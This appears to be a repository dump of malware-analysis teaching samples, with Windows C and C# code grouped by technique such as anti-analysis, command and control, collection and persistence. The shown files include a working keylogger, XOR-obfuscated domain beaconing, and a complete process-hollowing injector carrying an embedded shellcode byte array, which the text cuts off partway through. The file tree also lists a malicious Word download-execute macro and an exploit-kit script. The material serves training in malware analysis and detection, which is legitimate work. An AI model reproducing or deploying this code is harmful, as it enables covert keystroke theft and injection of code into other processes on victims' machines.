├── .github └── FUNDING.yml ├── .gitignore ├── Anti-Analysis └── GetProcesses.c ├── Basic Networking └── basic_http_request_response.c ├── Collection └── simple_keylogger.c ├── Command and Control ├── CheckForInternet.c ├── DNSLookup.c └── DownloadWebPage.c ├── Dynamic Analysis ├── Process_Hollowing.cs ├── Process_Injection │ └── ClassicProcessInjection.c ├── dynamic_analysis.c └── process_exploration │ └── process_explorer.c ├── Execution └── winexec.cpp ├── Malicous Documents └── Word │ ├── README.md │ ├── simple_download_execute.docm │ └── word_template_msgbox.dotm ├── Persistence ├── AppInit_DLL_Injection │ ├── AppInitInjection.gif │ ├── Appinit_dllsinjection.c │ ├── README.md │ └── inject.c ├── RegistryAutoStart.c └── RegistryBrowserStartPage.c ├── Process Security Access Rights ├── Injection │ ├── build.bat │ ├── demo_dll.c │ └── inject.c └── get_debug_priv.c ├── README.md ├── Shellcode └── shellcode.bin ├── String Obfuscation └── xor_encrytion.c ├── Tools ├── exploit-kits │ └── seek-ek.py └── unpacking │ ├── Scylla v0.9.7c.zip │ ├── autoit-v3.2.4.8.zip │ └── exe2aut.exe └── Yara └── ascii_wide_strings ├── demo.c ├── demo.exe └── yara_strings_basics.yara /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | patreon: JoshStroschein 4 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | 3 | # Prerequisites 4 | *.d 5 | 6 | # Object files 7 | *.o 8 | *.ko 9 | *.obj 10 | *.elf 11 | 12 | # Linker output 13 | *.ilk 14 | *.map 15 | *.exp 16 | 17 | # Precompiled Headers 18 | *.gch 19 | *.pch 20 | 21 | # Libraries 22 | *.lib 23 | *.a 24 | *.la 25 | *.lo 26 | 27 | # Shared objects (inc. Windows DLLs) 28 | *.dll 29 | *.so 30 | *.so.* 31 | *.dylib 32 | 33 | # Executables 34 | *.out 35 | *.app 36 | *.i*86 37 | *.x86_64 38 | *.hex 39 | 40 | # Debug files 41 | *.dSYM/ 42 | *.su 43 | *.idb 44 | *.pdb 45 | 46 | # Kernel Module Compile Results 47 | *.mod* 48 | *.cmd 49 | .tmp_versions/ 50 | modules.order 51 | Module.symvers 52 | Mkfile.old 53 | dkms.conf 54 | -------------------------------------------------------------------------------- /Anti-Analysis/GetProcesses.c: -------------------------------------------------------------------------------- 1 | // Author: Josh Stroschein @jstrosch 2 | // Date: 23 December 2021 3 | // Description: Common Windows API for enumerating processes by name. 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | // Forward declarations: 11 | void GetProcessList( void ); 12 | void toLower(TCHAR *ptrStr); 13 | 14 | int main( void ) 15 | { 16 | GetProcessList( ); 17 | return 0; 18 | } 19 | 20 | void GetProcessList( ) 21 | { 22 | //HANDLE: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724457%28v=vs.85%29.aspx 23 | //Handles represent a system resource 24 | HANDLE hProcessSnap; 25 | HANDLE hProcess; 26 | PROCESSENTRY32 pe32; //https://msdn.microsoft.com/en-us/library/windows/desktop/ms724457%28v=vs.85%29.aspx 27 | DWORD dwPriorityClass; 28 | 29 | // Take a snapshot of all processes in the system. 30 | //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682489%28v=vs.85%29.aspx 31 | hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); 32 | if( hProcessSnap == INVALID_HANDLE_VALUE ) // -1 33 | { 34 | puts("ERROR"); 35 | return; 36 | } 37 | 38 | //The size of the structure, in bytes. 39 | //Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32). 40 | //If you do not initialize dwSize, Process32First fails. 41 | pe32.dwSize = sizeof( PROCESSENTRY32 ); 42 | 43 | // Retrieve information about the first process, 44 | // and exit if unsuccessful 45 | if( !Process32First( hProcessSnap, &pe32 ) ) 46 | { 47 | puts("ERROR"); 48 | CloseHandle( hProcessSnap ); 49 | return; 50 | } 51 | 52 | do 53 | { 54 | toLower(pe32.szExeFile); 55 | // This could be any process name you are looking for 56 | if(strstr(pe32.szExeFile,"vm")){ 57 | printf("Virtualization Detected! - %s\n", pe32.szExeFile); 58 | } 59 | 60 | } while( Process32Next( hProcessSnap, &pe32 ) ); 61 | 62 | CloseHandle( hProcessSnap ); 63 | 64 | return; 65 | } 66 | 67 | void toLower(TCHAR *pStr) 68 | { 69 | while(*pStr++ = _totlower(*pStr)); 70 | } -------------------------------------------------------------------------------- /Basic Networking/basic_http_request_response.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #pragma comment(lib,"wininet.lib") 7 | 8 | #define SERVER_PORT 80 9 | #define REQUEST_METHOD "GET" 10 | #define REQUEST_PATH "/" 11 | #define USER_AGENT "Mozilla/4.0 (TheCyberYeti)" 12 | 13 | /* This is a simple XOR decrypt, used primarily to 'hide' strings in the binary */ 14 | void decrypt(char*src, size_t key, size_t size); 15 | 16 | char domains[3][25] = {{"\xe3\xff\xf2\xf4\xee\xf5\xf2\xe5\xee\xf2\xe3\xfe\xb9\xf4\xf8\xfa\x97"},{"\xe3\xff\xf2\xf4\xee\xf5\xf2\xe5\xee\xf2\xe3\xfe\xb9\xf4\xf8\xfa\x97"},{"\xe3\xff\xf2\xf4\xee\xf5\xf2\xe5\xee\xf2\xe3\xfe\xb9\xf4\xf8\xfa\x97"}}; 17 | 18 | const unsigned int xor_key = 0x97; 19 | 20 | void main (void) { 21 | DWORD LastError, dwBytesRead = 0; 22 | char buffer[8192]; 23 | BOOL result; 24 | size_t i = 0; 25 | HINTERNET hInternet; 26 | HINTERNET hConnect; 27 | HINTERNET hRequest; 28 | 29 | hInternet = InternetOpenA(USER_AGENT,INTERNET_OPEN_TYPE_PRECONFIG,0,0,0); 30 | 31 | for(i = 0; i < 3; i++) { 32 | decrypt(domains[i], xor_key, strlen(domains[i])); 33 | 34 | if(hInternet != NULL){ 35 | 36 | hConnect = InternetConnectA(hInternet, domains[i], 0x50, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); 37 | 38 | // Build the HTTP request string 39 | char request[1024]; 40 | sprintf_s(request, sizeof(request), "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\n\r\n", 41 | REQUEST_METHOD, REQUEST_PATH, domains[i], USER_AGENT); 42 | 43 | // Open the HTTP request 44 | hRequest = HttpOpenRequestA(hConnect, REQUEST_METHOD, REQUEST_PATH, NULL, NULL, NULL, INTERNET_FLAG_RELOAD, 0); 45 | 46 | if (hRequest == NULL) { 47 | printf("Error opening HTTP request: %d\n", GetLastError()); 48 | } else { 49 | result = HttpSendRequestA(hRequest, NULL, 0, NULL, 0); 50 | 51 | if (!result) { 52 | printf("Error sending HTTP request: %d\n", GetLastError()); 53 | } else { 54 | InternetReadFile(hRequest, buffer, sizeof(buffer) - 1, &dwBytesRead); 55 | while (dwBytesRead > 0) { 56 | 57 | if (dwBytesRead > 0) { 58 | buffer[dwBytesRead] = '\x00'; 59 | printf("%s", buffer); 60 | } 61 | InternetReadFile(hRequest, buffer, sizeof(buffer) - 1, &dwBytesRead); 62 | } 63 | } 64 | } 65 | 66 | // Close handles 67 | InternetCloseHandle(hRequest); 68 | InternetCloseHandle(hConnect); 69 | } 70 | Sleep(2000); 71 | } 72 | InternetCloseHandle(hInternet); 73 | 74 | } 75 | 76 | void decrypt(char *src,size_t key, size_t size) { 77 | int i = 0; 78 | 79 | for (i = 0; i < size; i++) { 80 | src[i] ^= key; 81 | } 82 | } -------------------------------------------------------------------------------- /Collection/simple_keylogger.c: -------------------------------------------------------------------------------- 1 | // Author: Josh Stroschein @jstrosch 2 | // Date: 22 December 2021 3 | // Description: A simple keylogger. 4 | // Credits: I'm sure there is code borrowed here from other projects but I failed to initially document - if you recognize something, please let me know. 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #pragma comment(lib,"user32.lib") 12 | 13 | #define PATH "C:\\Users\\Public\\test-log.txt" // The path to the log file 14 | 15 | int main(){ 16 | char capture; 17 | FILE *file; 18 | 19 | // Time stuff. 20 | time_t t; 21 | t = time(NULL); 22 | // Hide the window 23 | HWND window; 24 | AllocConsole(); 25 | window=FindWindowA("ConsoleWindowClass",NULL); 26 | //ShowWindow(window,0); 27 | 28 | file = fopen(PATH, "a+"); 29 | 30 | while(1) 31 | { 32 | Sleep(20); // To make sure this program doesn't steal all resources. 33 | if (_kbhit()) 34 | { 35 | capture = getch(); 36 | // Just add in some helper strings here to the file, feel free to modify these to your needs. 37 | switch ((int)capture){ 38 | case ' ': // Space key...obviously. 39 | fprintf(file, " "); 40 | break; 41 | case 0x09: // Tab key. 42 | fprintf(file, "[TAB]"); 43 | break; 44 | case 0x0D: // Enter key. 45 | fprintf(file, "[ENTER]"); 46 | break; 47 | case 0x1B: // Escape key. 48 | fprintf(file, "[ESC]"); 49 | break; 50 | case 0x08: // Backspace key. 51 | fprintf(file, "[BACKSPACE]"); 52 | break; 53 | default: 54 | fputc(capture,file); // Put any other inputted key into the file. 55 | } 56 | 57 | if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want. 58 | fclose(file); 59 | return 0; 60 | } 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /Command and Control/CheckForInternet.c: -------------------------------------------------------------------------------- 1 | #pragma comment (lib, "wininet.lib") 2 | 3 | #include 4 | #include 5 | 6 | int main(void) 7 | { 8 | 9 | int sleepBetweenQueriesInMS = 10000; 10 | LPDWORD connectionDescription; 11 | int isActive = 0; 12 | isActive = InternetGetConnectedState(connectionDescription,0); 13 | 14 | while (isActive == 0){ 15 | 16 | printf ("No active connection, sleeping now for %d seconds\n", (sleepBetweenQueriesInMS / 1000)); 17 | 18 | Sleep(sleepBetweenQueriesInMS); 19 | isActive = InternetGetConnectedState(connectionDescription,0); 20 | } 21 | 22 | printf ("You gotz internet!!!\n"); 23 | 24 | return 0; 25 | } -------------------------------------------------------------------------------- /Command and Control/DNSLookup.c: -------------------------------------------------------------------------------- 1 | // Author: Josh Stroschein @jstrosch 2 | // Date: 23 December 2021 3 | // Description: A small utility that demonstrates how to perform a DNS query. 4 | 5 | #include 6 | #include 7 | 8 | #pragma comment(lib, "ws2_32") 9 | 10 | int main(int argc, char *argv[]) { 11 | 12 | WSADATA wsdata; 13 | 14 | WSAStartup(0x0101, &wsdata); // WSAStartup function initiates use of the Winsock DLL by a process 15 | 16 | struct hostent *he; //The hostent structure is used by functions to store information about a given host, such as host name, IPv4 address, and so forth. 17 | 18 | if (argc != 2) 19 | { 20 | 21 | printf("Usage: %s hostname\n",argv[0]); 22 | 23 | return -1; 24 | 25 | } 26 | 27 | if ((he = gethostbyname(argv[1])) == NULL) 28 | { 29 | printf("gethostbyname() error\n"); 30 | 31 | return -1; 32 | } 33 | 34 | printf("Hostname : %s\n",he->h_name); 35 | 36 | printf("IP Address: %s\n",inet_ntoa(*((struct in_addr *)he->h_addr))); 37 | 38 | WSACleanup(); 39 | 40 | return 0; 41 | } -------------------------------------------------------------------------------- /Command and Control/DownloadWebPage.c: -------------------------------------------------------------------------------- 1 | #pragma comment (lib, "wininet.lib") 2 | 3 | #include 4 | #include 5 | 6 | int main(void) 7 | { 8 | LPDWORD connectionDescription; 9 | 10 | if(InternetGetConnectedState(connectionDescription,0) == 1) 11 | { 12 | DWORD dwAccessType = INTERNET_OPEN_TYPE_DIRECT; 13 | 14 | HINTERNET hINet = InternetOpenA("User-Agent: Internet Explorer 7.6/pma", 15 | dwAccessType, NULL,NULL,0); 16 | 17 | if(hINet) 18 | { 19 | 20 | HINTERNET hUrl = InternetOpenUrlA(hINet, "http://www.practicalmalwareanalysis.com/cc.html", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE, 0); 21 | 22 | if(hUrl) 23 | { 24 | 25 | char holdBuff[4096]; 26 | DWORD bytesRead; 27 | 28 | char* temp = holdBuff; 29 | while (InternetReadFile(hUrl, temp, 1024, &bytesRead) == TRUE && bytesRead > 0) 30 | { 31 | temp += bytesRead; 32 | } 33 | 34 | *temp = '\0'; 35 | 36 | char *content = malloc (strlen(holdBuff) + 1); 37 | strcpy (content, holdBuff); 38 | 39 | //puts(content); 40 | 41 | free(content); 42 | 43 | InternetCloseHandle(hUrl); 44 | } 45 | 46 | InternetCloseHandle(hINet); 47 | 48 | }else { 49 | puts("No joy!"); 50 | } 51 | 52 | 53 | } else { 54 | puts("You gotz no internetz!!!"); 55 | } 56 | 57 | return 0; 58 | } 59 | 60 | 61 | 62 | /* 63 | 64 | DWORD dwAccessType; 65 | AnsiString szProxySz; 66 | if (getProxyOptions()) 67 | { 68 | dwAccessType = INTERNET_OPEN_TYPE_PROXY; 69 | szProxySz = AnsiString("\"\"http=http://" + getProxyAddress() + ":" + 70 | getProxyPortNum() + "\"\""); 71 | } 72 | else 73 | { 74 | dwAccessType = INTERNET_OPEN_TYPE_DIRECT; 75 | szProxySz = NULL; 76 | } 77 | 78 | hINetHnd = InternetOpen(TEXT("Live Update"), dwAccessType, 79 | szProxySz.c_str(), NULL, 0); 80 | if (!hINetHnd) 81 | throw EAbort(SysErrorMessage(GetLastError()), 0); 82 | 83 | */ -------------------------------------------------------------------------------- /Dynamic Analysis/Process_Hollowing.cs: -------------------------------------------------------------------------------- 1 |  2 | /*************** 3 | * Simple Process Hollowing in C# 4 | * 5 | * #Build Your Binaries 6 | * c:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe Hollowing.cs /unsafe 7 | * 8 | * @author: Michael Gorelik 9 | * gist.github.com/smgorelik/9a80565d44178771abf1e4da4e2a0e75 10 | * #Most of the code taken from here: @github: github.com/ambray 11 | * 12 | **************/ 13 | 14 | using System; 15 | using System.Collections.Generic; 16 | using System.Runtime.InteropServices; 17 | using System.Text; 18 | 19 | namespace Hollowing 20 | { 21 | public sealed class Loader 22 | { 23 | public static byte[] target_ = Encoding.ASCII.GetBytes("calc.exe"); 24 | public static string HollowedProcessX85 = "C:\\Windows\\SysWOW64\\notepad.exe"; 25 | 26 | // Uses notepad to launch calc...? 27 | 28 | [StructLayout(LayoutKind.Sequential)] 29 | public struct PROCESS_INFORMATION 30 | { 31 | public IntPtr hProcess; 32 | public IntPtr hThread; 33 | public int dwProcessId; 34 | public int dwThreadId; 35 | } 36 | 37 | [StructLayout(LayoutKind.Sequential)] 38 | internal struct PROCESS_BASIC_INFORMATION 39 | { 40 | public IntPtr Reserved1; 41 | public IntPtr PebAddress; 42 | public IntPtr Reserved2; 43 | public IntPtr Reserved3; 44 | public IntPtr UniquePid; 45 | public IntPtr MoreReserved; 46 | } 47 | 48 | [StructLayout(LayoutKind.Sequential)] 49 | internal struct STARTUPINFO 50 | { 51 | uint cb; 52 | IntPtr lpReserved; 53 | IntPtr lpDesktop; 54 | IntPtr lpTitle; 55 | uint dwX; 56 | uint dwY; 57 | uint dwXSize; 58 | uint dwYSize; 59 | uint dwXCountChars; 60 | uint dwYCountChars; 61 | uint dwFillAttributes; 62 | uint dwFlags; 63 | ushort wShowWindow; 64 | ushort cbReserved; 65 | IntPtr lpReserved2; 66 | IntPtr hStdInput; 67 | IntPtr hStdOutput; 68 | IntPtr hStdErr; 69 | } 70 | 71 | public const uint PageReadWriteExecute = 0x40; 72 | public const uint PageReadWrite = 0x04; 73 | public const uint PageExecuteRead = 0x20; 74 | public const uint MemCommit = 0x00001000; 75 | public const uint SecCommit = 0x08000000; 76 | public const uint GenericAll = 0x10000000; 77 | public const uint CreateSuspended = 0x00000004; 78 | public const uint DetachedProcess = 0x00000008; 79 | public const uint CreateNoWindow = 0x08000000; 80 | 81 | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] 82 | private static extern int ZwCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); 83 | 84 | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] 85 | private static extern int ZwMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); 86 | 87 | [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] 88 | private static extern void GetSystemInfo(ref SYSTEM_INFO lpSysInfo); 89 | 90 | [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] 91 | private static extern IntPtr GetCurrentProcess(); 92 | 93 | [DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall)] 94 | private static extern void CloseHandle(IntPtr handle); 95 | 96 | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] 97 | private static extern int ZwUnmapViewOfSection(IntPtr hSection, IntPtr address); 98 | 99 | [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] 100 | private static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation); 101 | 102 | [DllImport("kernel32.dll")] 103 | static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 104 | 105 | [DllImport("kernel32.dll", SetLastError = true)] 106 | private static extern uint ResumeThread(IntPtr hThread); 107 | 108 | [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)] 109 | private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen); 110 | 111 | [DllImport("kernel32.dll", SetLastError = true)] 112 | static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); 113 | 114 | 115 | [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)] 116 | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumWritten); 117 | 118 | 119 | [DllImport("kernel32.dll")] 120 | static extern uint GetLastError(); 121 | 122 | [StructLayout(LayoutKind.Sequential)] 123 | public struct SYSTEM_INFO 124 | { 125 | public uint dwOem; 126 | public uint dwPageSize; 127 | public IntPtr lpMinAppAddress; 128 | public IntPtr lpMaxAppAddress; 129 | public IntPtr dwActiveProcMask; 130 | public uint dwNumProcs; 131 | public uint dwProcType; 132 | public uint dwAllocGranularity; 133 | public ushort wProcLevel; 134 | public ushort wProcRevision; 135 | } 136 | 137 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 138 | public struct LARGE_INTEGER 139 | { 140 | public uint LowPart; 141 | public int HighPart; 142 | } 143 | 144 | IntPtr section_; 145 | IntPtr localmap_; 146 | IntPtr remotemap_; 147 | IntPtr localsize_; 148 | IntPtr remotesize_; 149 | IntPtr pModBase_; 150 | IntPtr pEntry_; 151 | uint rvaEntryOffset_; 152 | uint size_; 153 | byte[] inner_; 154 | 155 | public uint round_to_page(uint size) 156 | { 157 | SYSTEM_INFO info = new SYSTEM_INFO(); 158 | 159 | GetSystemInfo(ref info); 160 | 161 | return (info.dwPageSize - size % info.dwPageSize) + size; 162 | } 163 | 164 | const int AttributeSize = 24; 165 | 166 | private bool nt_success(long v) 167 | { 168 | return (v >= 0); 169 | } 170 | 171 | public IntPtr GetCurrent() 172 | { 173 | return GetCurrentProcess(); 174 | } 175 | 176 | 177 | 178 | /*** 179 | * Maps a view of the current section into the process specified in procHandle. 180 | */ 181 | public KeyValuePair MapSection(IntPtr procHandle, uint protect, IntPtr addr) 182 | { 183 | IntPtr baseAddr = addr; 184 | IntPtr viewSize = (IntPtr)size_; 185 | 186 | 187 | long status = ZwMapViewOfSection(section_, procHandle, ref baseAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, protect); 188 | 189 | if (!nt_success(status)) 190 | throw new SystemException("[x] Something went wrong! " + status); 191 | 192 | return new KeyValuePair(baseAddr, viewSize); 193 | } 194 | 195 | /*** 196 | * Attempts to create an RWX section of the given size 197 | */ 198 | public bool CreateSection(uint size) 199 | { 200 | LARGE_INTEGER liVal = new LARGE_INTEGER(); 201 | size_ = round_to_page(size); 202 | liVal.LowPart = size_; 203 | 204 | long status = ZwCreateSection(ref section_, GenericAll, (IntPtr)0, ref liVal, PageReadWriteExecute, SecCommit, (IntPtr)0); 205 | 206 | return nt_success(status); 207 | } 208 | 209 | 210 | 211 | /*** 212 | * Maps a view of the section into the current process 213 | */ 214 | public void SetLocalSection(uint size) 215 | { 216 | 217 | KeyValuePair vals = MapSection(GetCurrent(), PageReadWriteExecute, IntPtr.Zero); 218 | if (vals.Key == (IntPtr)0) 219 | throw new SystemException("[x] Failed to map view of section!"); 220 | 221 | localmap_ = vals.Key; 222 | localsize_ = vals.Value; 223 | 224 | } 225 | 226 | /*** 227 | * Copies the shellcode buffer into the section 228 | */ 229 | public void CopyShellcode(byte[] buf) 230 | { 231 | long lsize = size_; 232 | if (buf.Length > lsize) 233 | throw new IndexOutOfRangeException("[x] Shellcode buffer is too long!"); 234 | 235 | unsafe 236 | { 237 | byte* p = (byte*)localmap_; 238 | 239 | for (int i = 0; i < buf.Length; i++) 240 | { 241 | p[i] = buf[i]; 242 | } 243 | } 244 | } 245 | 246 | /*** 247 | * Create a new process using the binary located at "path", starting up suspended. 248 | */ 249 | public PROCESS_INFORMATION StartProcess(string path) 250 | { 251 | STARTUPINFO startInfo = new STARTUPINFO(); 252 | PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); 253 | 254 | uint flags = CreateSuspended;// | DetachedProcess | CreateNoWindow; 255 | 256 | if (!CreateProcess((IntPtr)0, path, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo)) 257 | throw new SystemException("[x] Failed to create process!"); 258 | 259 | 260 | return procInfo; 261 | } 262 | 263 | const ulong PatchSize = 0x10; 264 | 265 | /*** 266 | * Constructs the shellcode patch for the new process entry point. It will build either an x86 or x64 payload based 267 | * on the current pointer size. 268 | * Ultimately, we will jump to the shellcode payload 269 | */ 270 | public KeyValuePair BuildEntryPatch(IntPtr dest) 271 | { 272 | int i = 0; 273 | IntPtr ptr; 274 | 275 | ptr = Marshal.AllocHGlobal((IntPtr)PatchSize); 276 | 277 | unsafe 278 | { 279 | byte* p = (byte*)ptr; 280 | byte[] tmp = null; 281 | 282 | if (IntPtr.Size == 4) 283 | { 284 | p[i] = 0xb8; // mov eax, 285 | i++; 286 | Int32 val = (Int32)dest; 287 | tmp = BitConverter.GetBytes(val); 288 | } 289 | else 290 | { 291 | p[i] = 0x48; // rex 292 | i++; 293 | p[i] = 0xb8; // mov rax, 294 | i++; 295 | 296 | Int64 val = (Int64)dest; 297 | tmp = BitConverter.GetBytes(val); 298 | } 299 | 300 | for (int j = 0; j < IntPtr.Size; j++) 301 | p[i + j] = tmp[j]; 302 | 303 | i += IntPtr.Size; 304 | p[i] = 0xff; 305 | i++; 306 | p[i] = 0xe0; // jmp [r|e]ax 307 | i++; 308 | } 309 | 310 | return new KeyValuePair(i, ptr); 311 | } 312 | 313 | 314 | /** 315 | * We will locate the entry point for the main module in the remote process for patching. 316 | */ 317 | private IntPtr GetEntryFromBuffer(byte[] buf) 318 | { 319 | IntPtr res = IntPtr.Zero; 320 | unsafe 321 | { 322 | fixed (byte* p = buf) 323 | { 324 | uint e_lfanew_offset = *((uint*)(p + 0x3c)); // e_lfanew offset in IMAGE_DOS_HEADERS 325 | 326 | byte* nthdr = (p + e_lfanew_offset); 327 | 328 | byte* opthdr = (nthdr + 0x18); // IMAGE_OPTIONAL_HEADER start 329 | 330 | ushort t = *((ushort*)opthdr); 331 | 332 | byte* entry_ptr = (opthdr + 0x10); // entry point rva 333 | 334 | int tmp = *((int*)entry_ptr); 335 | 336 | rvaEntryOffset_ = (uint)tmp; 337 | 338 | // rva -> va 339 | if (IntPtr.Size == 4) 340 | res = (IntPtr)(pModBase_.ToInt32() + tmp); 341 | else 342 | res = (IntPtr)(pModBase_.ToInt64() + tmp); 343 | 344 | } 345 | } 346 | 347 | pEntry_ = res; 348 | return res; 349 | } 350 | 351 | /** 352 | * Locate the module base addresss in the remote process, 353 | * read in the first page, and locate the entry point. 354 | */ 355 | public IntPtr FindEntry(IntPtr hProc) 356 | { 357 | PROCESS_BASIC_INFORMATION basicInfo = new PROCESS_BASIC_INFORMATION(); 358 | uint tmp = 0; 359 | 360 | long success = ZwQueryInformationProcess(hProc, 0, ref basicInfo, (uint)(IntPtr.Size * 6), ref tmp); 361 | if (!nt_success(success)) 362 | throw new SystemException("[x] Failed to get process information!"); 363 | 364 | IntPtr readLoc = IntPtr.Zero; 365 | byte[] addrBuf = new byte[IntPtr.Size]; 366 | if (IntPtr.Size == 4) 367 | { 368 | readLoc = (IntPtr)((Int32)basicInfo.PebAddress + 8); 369 | } 370 | else 371 | { 372 | readLoc = (IntPtr)((Int64)basicInfo.PebAddress + 16); 373 | } 374 | 375 | IntPtr nRead = IntPtr.Zero; 376 | 377 | if (!ReadProcessMemory(hProc, readLoc, addrBuf, addrBuf.Length, out nRead) || nRead == IntPtr.Zero) 378 | throw new SystemException("[x] Failed to read process memory!"); 379 | 380 | if (IntPtr.Size == 4) 381 | readLoc = (IntPtr)(BitConverter.ToInt32(addrBuf, 0)); 382 | else 383 | readLoc = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); 384 | 385 | pModBase_ = readLoc; 386 | if (!ReadProcessMemory(hProc, readLoc, inner_, inner_.Length, out nRead) || nRead == IntPtr.Zero) 387 | throw new SystemException("[x] Failed to read module start!"); 388 | 389 | return GetEntryFromBuffer(inner_); 390 | } 391 | 392 | /** 393 | * Map our shellcode into the remote (suspended) process, 394 | * locate and patch the entry point (so our code will run instead of 395 | * the original application), and resume execution. 396 | */ 397 | public void MapAndStart(PROCESS_INFORMATION pInfo) 398 | { 399 | 400 | KeyValuePair tmp = MapSection(pInfo.hProcess, PageReadWriteExecute, IntPtr.Zero); 401 | if (tmp.Key == (IntPtr)0 || tmp.Value == (IntPtr)0) 402 | throw new SystemException("[x] Failed to map section into target process!"); 403 | 404 | remotemap_ = tmp.Key; 405 | remotesize_ = tmp.Value; 406 | 407 | KeyValuePair patch = BuildEntryPatch(tmp.Key); 408 | 409 | try 410 | { 411 | 412 | IntPtr pSize = (IntPtr)patch.Key; 413 | IntPtr tPtr = new IntPtr(); 414 | 415 | if (!WriteProcessMemory(pInfo.hProcess, pEntry_, patch.Value, pSize, out tPtr) || tPtr == IntPtr.Zero) 416 | throw new SystemException("[x] Failed to write patch to start location! " + GetLastError()); 417 | } 418 | finally 419 | { 420 | if (patch.Value != IntPtr.Zero) 421 | Marshal.FreeHGlobal(patch.Value); 422 | } 423 | 424 | byte[] tbuf = new byte[0x1000]; 425 | IntPtr nRead = new IntPtr(); 426 | if (!ReadProcessMemory(pInfo.hProcess, pEntry_, tbuf, 1024, out nRead)) 427 | throw new SystemException("Failed!"); 428 | 429 | uint res = ResumeThread(pInfo.hThread); 430 | if (res == unchecked((uint)-1)) 431 | throw new SystemException("[x] Failed to restart thread!"); 432 | 433 | } 434 | 435 | public IntPtr GetBuffer() 436 | { 437 | return localmap_; 438 | } 439 | ~Loader() 440 | { 441 | if (localmap_ != (IntPtr)0) 442 | ZwUnmapViewOfSection(section_, localmap_); 443 | 444 | } 445 | 446 | /** 447 | * Given a path to a binary and a buffer of shellcode, 448 | * 1.) start a new (supended) process 449 | * 2.) map a view of our shellcode buffer into it 450 | * 3.) patch the original process entry point 451 | * 4.) resume execution 452 | */ 453 | public void Load(string targetProcess, byte[] shellcode) 454 | { 455 | 456 | PROCESS_INFORMATION pinf = StartProcess(targetProcess); 457 | FindEntry(pinf.hProcess); 458 | 459 | if (!CreateSection((uint)shellcode.Length)) 460 | throw new SystemException("[x] Failed to create new section!"); 461 | 462 | SetLocalSection((uint)shellcode.Length); 463 | 464 | CopyShellcode(shellcode); 465 | 466 | 467 | MapAndStart(pinf); 468 | 469 | CloseHandle(pinf.hThread); 470 | CloseHandle(pinf.hProcess); 471 | 472 | } 473 | 474 | public Loader() 475 | { 476 | section_ = new IntPtr(); 477 | localmap_ = new IntPtr(); 478 | remotemap_ = new IntPtr(); 479 | localsize_ = new IntPtr(); 480 | remotesize_ = new IntPtr(); 481 | inner_ = new byte[0x1000]; // Reserve a page of scratch space 482 | } 483 | static void Main(string[] args) 484 | { 485 | 486 | /* Run Calc */ 487 | byte[] shellcode = new byte[184] { 488 | 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 489 | 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 490 | 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 491 | 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 492 | 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 493 | 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 494 | 